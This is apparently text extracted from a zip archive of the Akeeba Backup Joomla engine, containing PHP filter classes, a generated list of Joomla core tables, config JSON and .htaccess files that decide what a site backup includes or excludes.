use Akeeba\Component\AkeebaBackup\Administrator\Library\ExtensionForTables;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Filter\Base as FilterBase;
use Akeeba\Engine\Platform;
use Throwable;

/**
 * Filter tables by what is installed by Joomla and its extensions.
 *
 * @since  10.1.0
 */
class StackInstalledtables extends FilterBase
{
	private ?array $installedTables = null;

	/** @inheritDoc */
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'all';
		$this->method  = 'api';

		parent::__construct();
	}

	/** @inheritDoc */
	protected function is_excluded_by_api($test, $root)
	{
		// This filter only applies to the main site database.
		if ($root !== '[SITEDB]')
		{
			return false;
		}

		// Check if we're told to only apply this to Joomla tables but this isn't such a table.
		if (
			Factory::getConfiguration()->get('core.filters.installedtables.onlyjoomla', 0)
			&& !str_starts_with($test, '#__')
		)
		{
			return false;
		}

		// If it's an installed or explicitly allowed table, or no tables were found, do not filter it out.
		$installedTables = $this->getInstalledTables();

		if (empty($installedTables) || in_array($test, $installedTables))
		{
			return false;
		}

		// Everything else is filtered out.
		return true;
	}

	private function getInstalledTables(): array
	{
		if ($this->installedTables !== null)
		{
			return $this->installedTables;
		}

		$config = Factory::getConfiguration();
		$json   = $config->get('volatile.stackfilters.installedtables', null);

		if (!empty($json) && is_string($json) && str_starts_with($json, '['))
		{
			try
			{
				$this->installedTables = @json_decode($json ?: '', true, 512, JSON_THROW_ON_ERROR);
			}
			catch (Throwable $e)
			{
				$this->installedTables = null;
			}
		}

		if (!is_null($this->installedTables))
		{
			return $this->installedTables;
		}


		$this->installedTables = $this->populateTables() ?? [];

		$config->set('volatile.stackfilters.installedtables', json_encode($this->installedTables));

		return $this->installedTables = $this->populateTables();
	}

	private function populateTables(): array
	{
		// First, get the installed tables from the database
		try
		{
			$platform  = Platform::getInstance();
			$dbOptions = $platform->get_platform_database_options();
			$db        = Factory::getDatabase($dbOptions);
			$allTables = ExtensionForTables::allTables($db) ?: [];
		}
		catch (Throwable $e)
		{
			$allTables = [];
		}

		$logger = Factory::getLog();

		// Debug log
		if ($allTables)
		{
			$logger->debug(sprintf('“Only back up tables installed by Joomla! and its extensions” filter found %d installed tables:', count($allTables)));

			foreach ($allTables as $table)
			{
				$logger->debug($table);
			}
		}
		else
		{
			$logger->warning('“Only back up tables installed by Joomla! and its extensions” filter did not find any installed tables');
		}

		// We could not find installed tables; skip over this filter.
		if (empty($allTables))
		{
			return $allTables;
		}

		// Then, add any extra configured tables.
		$extraTables = explode(
			',',
			Factory::getConfiguration()->get('core.filters.installedtables.extra', '') ?: ''
		);
		$extraTables = array_map('trim', $extraTables);
		$extraTables = array_filter($extraTables);
		$extraTables = array_map(
			fn($tableName) => str_starts_with($tableName, $db->getPrefix()) ? ('#__' . substr($tableName, strlen($db->getPrefix()))) : $tableName,
			$extraTables
		);

		if ($extraTables)
		{
			$logger->debug(sprintf('“Only back up tables installed by Joomla! and its extensions” filter was giver %d explicitly allowed tables:', count($extraTables)));

			foreach ($extraTables as $table)
			{
				$logger->debug($table);
			}
		}

		// Add the default Joomla core tables...
		/** @var array $knownJoomlaCoreTables */
		include __DIR__ . '/core_tables.php';

		if (isset($knownJoomlaCoreTables) && is_array($knownJoomlaCoreTables))
		{
			$allTables = array_merge($allTables, $knownJoomlaCoreTables);
		}

		// Normalise the array
		$allTables = array_unique(
			array_merge($allTables ?? [], $extraTables)
		);

		return $allTables ?: [];
	}
}PK     \rKN  N  ,  platform/Joomla/Filter/Stack/core_tables.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protection against direct access
defined('_JEXEC') || die();

/**
 * List of Joomla! core database tables.
 *
 * Automatically generated from Joomla sources on 2026-06-22 12:57:43 GMT.
 * 
 * Includes tables for every major Joomla! version up to and including these versions:
 * - 2.9.2
 * - 3.10.12
 * - 4.9.29
 * - 5.9.13
 * - 6.9.4
 * - 7.0
 * 
 * NOTE: Tables for Joomla 1.5 and 1.0 are not included because Joomla's GitHub repository does not have tags for these
 * very old versions. This is not a big issue, since this version of the Akeeba Engine cannot run on the ancient servers
 * required to run these long-obsolete versions of Joomla anyway.
 * 
 */
$knownJoomlaCoreTables = array (
  0 => '#__action_log_config',
  1 => '#__action_logs',
  2 => '#__action_logs_extensions',
  3 => '#__action_logs_users',
  4 => '#__assets',
  5 => '#__associations',
  6 => '#__banner_clients',
  7 => '#__banner_tracks',
  8 => '#__banners',
  9 => '#__categories',
  10 => '#__contact_details',
  11 => '#__content',
  12 => '#__content_frontpage',
  13 => '#__content_rating',
  14 => '#__content_types',
  15 => '#__contentitem_tag_map',
  16 => '#__core_log_searches',
  17 => '#__extensions',
  18 => '#__fields',
  19 => '#__fields_categories',
  20 => '#__fields_groups',
  21 => '#__fields_values',
  22 => '#__finder_filters',
  23 => '#__finder_links',
  24 => '#__finder_links_terms',
  25 => '#__finder_links_terms0',
  26 => '#__finder_links_terms1',
  27 => '#__finder_links_terms2',
  28 => '#__finder_links_terms3',
  29 => '#__finder_links_terms4',
  30 => '#__finder_links_terms5',
  31 => '#__finder_links_terms6',
  32 => '#__finder_links_terms7',
  33 => '#__finder_links_terms8',
  34 => '#__finder_links_terms9',
  35 => '#__finder_links_termsa',
  36 => '#__finder_links_termsb',
  37 => '#__finder_links_termsc',
  38 => '#__finder_links_termsd',
  39 => '#__finder_links_termse',
  40 => '#__finder_links_termsf',
  41 => '#__finder_logging',
  42 => '#__finder_taxonomy',
  43 => '#__finder_taxonomy_map',
  44 => '#__finder_terms',
  45 => '#__finder_terms_common',
  46 => '#__finder_tokens',
  47 => '#__finder_tokens_aggregate',
  48 => '#__finder_types',
  49 => '#__guidedtour_steps',
  50 => '#__guidedtours',
  51 => '#__history',
  52 => '#__languages',
  53 => '#__mail_templates',
  54 => '#__menu',
  55 => '#__menu_types',
  56 => '#__messages',
  57 => '#__messages_cfg',
  58 => '#__modules',
  59 => '#__modules_menu',
  60 => '#__newsfeeds',
  61 => '#__overrider',
  62 => '#__postinstall_messages',
  63 => '#__privacy_consents',
  64 => '#__privacy_requests',
  65 => '#__redirect_links',
  66 => '#__scheduler_logs',
  67 => '#__scheduler_tasks',
  68 => '#__schemaorg',
  69 => '#__schemas',
  70 => '#__session',
  71 => '#__tags',
  72 => '#__template_overrides',
  73 => '#__template_styles',
  74 => '#__tuf_metadata',
  75 => '#__ucm_base',
  76 => '#__ucm_content',
  77 => '#__ucm_history',
  78 => '#__update_categories',
  79 => '#__update_sites',
  80 => '#__update_sites_extensions',
  81 => '#__updates',
  82 => '#__user_keys',
  83 => '#__user_mfa',
  84 => '#__user_notes',
  85 => '#__user_profiles',
  86 => '#__user_usergroup_map',
  87 => '#__usergroups',
  88 => '#__users',
  89 => '#__utf8_conversion',
  90 => '#__viewlevels',
  91 => '#__webauthn_credentials',
  92 => '#__weblinks',
  93 => '#__workflow_associations',
  94 => '#__workflow_stages',
  95 => '#__workflow_transitions',
  96 => '#__workflows',
);PK     \S(      (  platform/Joomla/Filter/Stack/finder.jsonnu [        {
    "core.filters.finder.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}PK     \Sʉ      &  platform/Joomla/Filter/Stack/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \y*    ,  platform/Joomla/Filter/Stack/StackFinder.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter\Stack;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Filter\Base as FilterBase;

/**
 * Date conditional filter
 *
 * It will only backup files modified after a specific date and time
 *
 * @since  3.4.0
 */
class StackFinder extends FilterBase
{
	/** @inheritDoc */
	public function __construct()
	{
		parent::__construct();

		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'api';
	}

	/**
	 * Exclude the Smart Search (Finder) tables from the main site's database.
	 *
	 * @param   string  $test  The object to test for exclusion
	 * @param   string  $root  The object's root
	 *
	 * @return  bool    Return true if it matches your filters
	 *
	 * @since   3.4.0
	 * @see     https://github.com/joomla/joomla-cms/issues/27913#issuecomment-1102954460
	 */
	protected function is_excluded_by_api($test, $root)
	{
		return ($root === '[SITEDB]') && in_array($test, [
				'#__finder_terms', '#__finder_links_terms', '#__finder_logging',
				'#__finder_tokens', '#__finder_tokens_aggregate',
			]);
	}

	public function filterDatabaseRowContent(string $root, string $tableAbstract, array &$row): void
	{
		if ($root !== '[SITEDB]' || $tableAbstract !== '#__finder_links')
		{
			return;
		}

		$row['md5sum'] = null;
		$row['object'] = null;
	}

}
PK     \ay,  ,  ,  platform/Joomla/Filter/Stack/actionlogs.jsonnu [        {
    "core.filters.actionlogs.enabled": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION",
        "bold": "1"
    }
}PK     \is[  [  '  platform/Joomla/Filter/Excludefiles.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Excludefiles extends Base
{
	public function __construct()
	{
		$this->object      = 'file';
		$this->subtype     = 'all';
		$this->method      = 'direct';
		$this->filter_name = 'Excludefiles';

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		// We take advantage of the filter class magic to inject our custom filters
		$this->filter_data[$root] = array(
			'kickstart.php',
			'error_log',
			'administrator/error_log'
		);

		parent::__construct();
	}

}
PK     \p      %  platform/Joomla/Filter/Cvsfolders.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;

/**
 * Folder exclusion filter based on regular expressions
 */
class Cvsfolders extends Base
{
	function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'all';
		$this->method      = 'regex';
		$this->filter_name = 'Cvsfolders';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = array(
			'#/\.git$#',
			'#^\.git$#',
			'#/\.svn$#',
			'#^\.svn$#'
		);
	}
}
PK     \?O    '  platform/Joomla/Filter/Publicfolder.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Component\AkeebaBackup\Administrator\Helper\JoomlaPublicFolder;
use Akeeba\Engine\Factory;

/**
 * Joomla! 5.0+ off-site public root inclusion
 */
class Publicfolder extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'inclusion';
		$this->method      = 'direct';
		$this->filter_name = 'Libraries';

		parent::__construct();

		$this->initialise();
	}

	private function initialise()
	{
		// Bail out if the user has provided a custom (alternate) root to back up
		if (Factory::getConfiguration()->get('akeeba.platform.override_root', 0))
		{
			return;
		}

		// This only makes sense in Joomla! 5 or later, where the JPATH_PUBLIC constant is defined.
		if (!defined('JPATH_PUBLIC'))
		{
			return;
		}

		$publicDir = Factory::getFilesystemTools()->TranslateWinPath(JoomlaPublicFolder::getPublicFolder());
		$rootDir   = Factory::getFilesystemTools()->TranslateWinPath(JPATH_ROOT);

		if ($publicDir === $rootDir || str_starts_with($publicDir, $rootDir))
		{
			return;
		}

		// The path differs, add it here
		$this->filter_data['JPATH_PUBLIC'] = [
			Factory::getFilesystemTools()->rebaseFolderToStockDirs($publicDir),
			'JPATH_PUBLIC',
		];
	}
}
PK     \5},  ,  *  platform/Joomla/Filter/Joomlaskipfiles.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Factory as JoomlaFactory;

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Joomlaskipfiles extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'content';
		$this->method      = 'direct';
		$this->filter_name = 'Joomlaskipfiles';

		// We take advantage of the filter class magic to inject our custom filters
		$configuration = Factory::getConfiguration();
		$app          = JoomlaFactory::getApplication();

		$tmpdir  = $app->get('tmp_path');
		$logsdir = $app->get('log_path');

		// Get the site's root
		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = [
			// Output & temp directory of the component
			$this->treatDirectory($configuration->get('akeeba.basic.output_directory')),

			// Joomla! temporary directory
			$this->treatDirectory($tmpdir),

			// Joomla! logs directory
			$this->treatDirectory($logsdir),

			// default temp directory
			$this->treatDirectory(JPATH_SITE . '/tmp'),
			'tmp',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/tmp'),

			// Joomla! front- and back-end cache, as reported by Joomla!
			$this->treatDirectory(JPATH_CACHE),
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/cache'),
			$this->treatDirectory(JPATH_ROOT . '/cache'),
			// cache directories fallback
			'cache',
			'administrator/cache',
			// Joomla! front- and back-end cache, as calculated by us (redundancy, for funky server setups)
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/cache'),
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/cache'),

			// This is not needed except on sites running SVN or beta releases
			$this->treatDirectory(JPATH_ROOT . '/installation'),
			// ...and the fallbacks
			'installation',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/installation'),

			// Default backup output (many people change it, forget to remove old backup archives and they end up backing up old backups)
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/components/com_akeeba/backup'),
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/backup'),
			'administrator/components/com_akeeba/backup',
			'administrator/components/com_akeebabackup/backup',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/components/com_akeeba/backup'),
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/components/com_akeebabackup/backup'),

			// MyBlog's cache
			$this->treatDirectory(JPATH_SITE . '/components/libraries/cmslib/cache'),
			// ...and fallbacks
			'components/libraries/cmslib/cache',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/components/libraries/cmslib/cache'),

			// Used by Plesk to store its logs. It's in the public root, owned by root and read-only. Yipee!
			$this->treatDirectory(JPATH_ROOT . '/logs'),
			'logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/logs'),

			// Some developers hardcode this path for their log files. I guess they never heard of Joomla!'s Global Configuration?
			$this->treatDirectory(JPATH_ROOT . '/log'),
			'log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/log'),

			// Joomla! 3.6 is loads of fun. It changed the logs folder location.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/logs'),
			'administrator/logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/logs'),

			// Also in case a Joomla! 3.6 site admin cocks up, let's try a singular folder name.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/log'),
			'administrator/log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/log'),
		];

		parent::__construct();
	}
}
PK     \w-    )  platform/Joomla/Filter/Excludefolders.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;

/**
 * Folder exclusion filter. Excludes certain hosting directories.
 */
class Excludefolders extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'all';
		$this->method      = 'direct';
		$this->filter_name = 'Excludefolders';

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		// We take advantage of the filter class magic to inject our custom filters
		$this->filter_data[$root] = [
			'.cagefs',
			'awstats',
			'cgi-bin',
		];

		parent::__construct();
	}

}
PK     \    #  platform/Joomla/Filter/Siteroot.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;

/**
 * Add site's root to the backup set.
 */
class Siteroot extends Base
{
	public function __construct()
	{
		// This is a directory inclusion filter.
		$this->object      = 'dir';
		$this->subtype     = 'inclusion';
		$this->method      = 'direct';
		$this->filter_name = 'Siteroot';

		// Directory inclusion format:
		// array(real_directory, add_path)
		$add_path = null; // A null add_path means that we dump this dir's contents in the archive's root

		// We take advantage of the filter class magic to inject our custom filters
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[] = array(
			$root,
			$add_path
		);

		parent::__construct();
	}
}
PK     \w*     $  platform/Joomla/Filter/Libraries.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Joomla! 1.6 libraries off-site relocation workaround
 *
 * After the application of patch 23377
 * (http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&tracker_item_id=23377)
 * it is possible for the webmaster to move the libraries directory of his Joomla!
 * site to an arbitrary location in the folder tree. This filter works around this
 * new feature by creating a new extra directory inclusion filter.
 */
class Libraries extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'inclusion';
		$this->method      = 'direct';
		$this->filter_name = 'Libraries';

		parent::__construct();

		$this->initialise();
	}

	private function initialise()
	{
		// Bail out if the user has provided a custom (alternate) root to back up
		if (Factory::getConfiguration()->get('akeeba.platform.override_root', 0))
		{
			return;
		}

		if (defined('JPATH_LIBRARIES'))
		{
			$jLibrariesDir = JPATH_LIBRARIES;
		}
		/** @deprecated Deprecated since Joomla! 4.4, we can remove it in Joomla! 6.0 */
		elseif (defined('JPATH_PLATFORM'))
		{
			/** @noinspection PhpDeprecationInspection */
			$jLibrariesDir = JPATH_PLATFORM;
		}
		else
		{
			return;
		}

		$jLibrariesDir    = Factory::getFilesystemTools()->TranslateWinPath($jLibrariesDir);
		$defaultLibraries = Factory::getFilesystemTools()->TranslateWinPath(JPATH_ROOT . '/libraries');

		if ($defaultLibraries === $jLibrariesDir)
		{
			return;
		}

		// The path differs, add it here
		$this->filter_data['JPATH_LIBRARIES'] = 			[
			Factory::getFilesystemTools()->rebaseFolderToStockDirs($jLibrariesDir),
			'JPATH_LIBRARIES',
		];
	}
}
PK     \YH,  ,  )  platform/Joomla/Filter/Joomlaskipdirs.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Factory as JoomlaFactory;

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Joomlaskipdirs extends Base
{
	public function __construct()
	{
		$this->object      = 'dir';
		$this->subtype     = 'children';
		$this->method      = 'direct';
		$this->filter_name = 'Joomlaskipdirs';

		// We take advantage of the filter class magic to inject our custom filters
		$configuration = Factory::getConfiguration();
		$app           = JoomlaFactory::getApplication();

		$tmpdir  = $app->get('tmp_path');
		$logsdir = $app->get('log_path');

		// Get the site's root
		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = [
			// Output & temp directory of the component
			$this->treatDirectory($configuration->get('akeeba.basic.output_directory')),

			// Joomla! temporary directory
			$this->treatDirectory($tmpdir),

			// Joomla! logs directory
			$this->treatDirectory($logsdir),

			// default temp directory
			$this->treatDirectory(JPATH_SITE . '/tmp'),
			'tmp',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/tmp'),

			// Joomla! front- and back-end cache, as reported by Joomla!
			$this->treatDirectory(JPATH_CACHE),
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/cache'),
			$this->treatDirectory(JPATH_ROOT . '/cache'),
			// cache directories fallback
			'cache',
			'administrator/cache',
			// Joomla! front- and back-end cache, as calculated by us (redundancy, for funky server setups)
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/cache'),
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/cache'),

			// This is not needed except on sites running SVN or beta releases
			$this->treatDirectory(JPATH_ROOT . '/installation'),
			// ...and the fallbacks
			'installation',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/installation'),

			// Default backup output (many people change it, forget to remove old backup archives and they end up backing up old backups)
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/components/com_akeeba/backup'),
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/backup'),
			'administrator/components/com_akeeba/backup',
			'administrator/components/com_akeebabackup/backup',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/components/com_akeeba/backup'),
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/components/com_akeebabackup/backup'),

			// MyBlog's cache
			$this->treatDirectory(JPATH_SITE . '/components/libraries/cmslib/cache'),
			// ...and fallbacks
			'components/libraries/cmslib/cache',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/components/libraries/cmslib/cache'),

			// Used by Plesk to store its logs. It's in the public root, owned by root and read-only. Yipee!
			$this->treatDirectory(JPATH_ROOT . '/logs'),
			'logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/logs'),

			// Some developers hardcode this path for their log files. I guess they never heard of Joomla!'s Global Configuration?
			$this->treatDirectory(JPATH_ROOT . '/log'),
			'log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/log'),

			// Joomla! 3.6 is loads of fun. It changed the logs folder location.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/logs'),
			'administrator/logs',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/logs'),

			// Also in case a Joomla! 3.6 site admin cocks up, let's try a singular folder name.
			$this->treatDirectory(JPATH_ADMINISTRATOR . '/log'),
			'administrator/log',
			$this->treatDirectory(Platform::getInstance()->get_site_root() . '/administrator/log'),
		];

		parent::__construct();
	}
}
PK     \l    !  platform/Joomla/Filter/Sitedb.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Add site's main database to the backup set.
 */
class Sitedb extends Base
{
	public function __construct()
	{
		// This is a directory inclusion filter.
		$this->object      = 'db';
		$this->subtype     = 'inclusion';
		$this->method      = 'direct';
		$this->filter_name = 'Sitedb';

		// Add a new record for the core Joomla! database
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_db', 0))
		{
			$options = [
				'port'     => $configuration->get('akeeba.platform.dbport', ''),
				'host'     => $configuration->get('akeeba.platform.dbhost', ''),
				'user'     => $configuration->get('akeeba.platform.dbusername', ''),
				'password' => $configuration->get('akeeba.platform.dbpassword', ''),
				'database' => $configuration->get('akeeba.platform.dbname', ''),
				'prefix'   => $configuration->get('akeeba.platform.dbprefix', ''),
				'ssl'      => [
					'enable'             => $configuration->get('akeeba.platform.dbencryption', '0') == 1,
					'cipher'             => $configuration->get('akeeba.platform.dbsslcipher', ''),
					'ca'                 => $configuration->get('akeeba.platform.dbsslca', ''),
					'capath'             => $configuration->get('akeeba.platform.dbsslcapath', ''),
					'key'                => $configuration->get('akeeba.platform.dbsslkey', ''),
					'cert'               => $configuration->get('akeeba.platform.dbsslcert', ''),
					'verify_server_cert' => $configuration->get('akeeba.platform.dbsslverifyservercert', 0) == 1,
				],
			];
			$driver  = '\\Akeeba\\Engine\\Driver\\' . ucfirst($configuration->get('akeeba.platform.dbdriver', 'mysqli'));
		}
		else
		{
			$options = Platform::getInstance()->get_platform_database_options();
			$driver  = Platform::getInstance()->get_default_database_driver(true);
		}

		// This is the format of the database inclusion filters
		$options['ssl'] = $options['ssl'] ?? [];
		$options['ssl'] = is_array($options['ssl']) ? $options['ssl'] : [];

		$entry = [
			'host'                  => ($options['host'] ?? null) ?: null,
			'port'                  => ($options['port'] ?? null) ?: null,
			'socket'                => ($options['socket'] ?? null) ?: null,
			'username'              => $options['user'] ?? null,
			'password'              => $options['password'] ?? null,
			'database'              => $options['database'] ?? null,
			'prefix'                => $options['prefix'] ?? '',
			'dumpFile'              => 'site.sql',
			'driver'                => $driver,
			'dbencryption'          => ($options['ssl']['enable'] ?? false) ? 1 : 0,
			'dbsslcipher'           => ($options['ssl']['cipher'] ?? '') ?: '',
			'dbsslca'               => ($options['ssl']['ca'] ?? '') ?: '',
			'dbsslcapath'           => ($options['ssl']['capath'] ?? '') ?: '',
			'dbsslkey'              => ($options['ssl']['key'] ?? '') ?: '',
			'dbsslcert'             => ($options['ssl']['cert'] ?? '') ?: '',
			'dbsslverifyservercert' => ($options['ssl']['verify_server_cert'] ?? false) ? 1 : 0,
		];

		// We take advantage of the filter class magic to inject our custom filters
		$this->filter_data['[SITEDB]'] = $entry;

		parent::__construct();
	}
}
PK     \Sʉ         platform/Joomla/Filter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \%0St  t    platform/Joomla/Platform.phpnu [        <?php

/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Platform;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Component\AkeebaBackup\Administrator\Helper\JoomlaPublicFolder;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Platform\Base as BasePlatform;
use Akeeba\Engine\Psr\Log\LogLevel;
use DateTimeZone;
use Exception;
use JLoader;
use Joomla\CMS\Access\Access;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Mail\MailerFactoryInterface;
use Joomla\Filesystem\Folder;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Mail\Mail;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\CMS\Version;
use Joomla\Database\DatabaseInterface;
use Joomla\Session\Session;

/**
 * Joomla! 4 platform class
 *
 * @noinspection PhpUnused
 */
class Joomla extends BasePlatform
{
	/**
	 * Override profile ID, for use in automated testing only
	 *
	 * @var   int|null
	 */
	public static $profile_id = null;

	/**
	 * Platform class priority
	 *
	 * @var  int
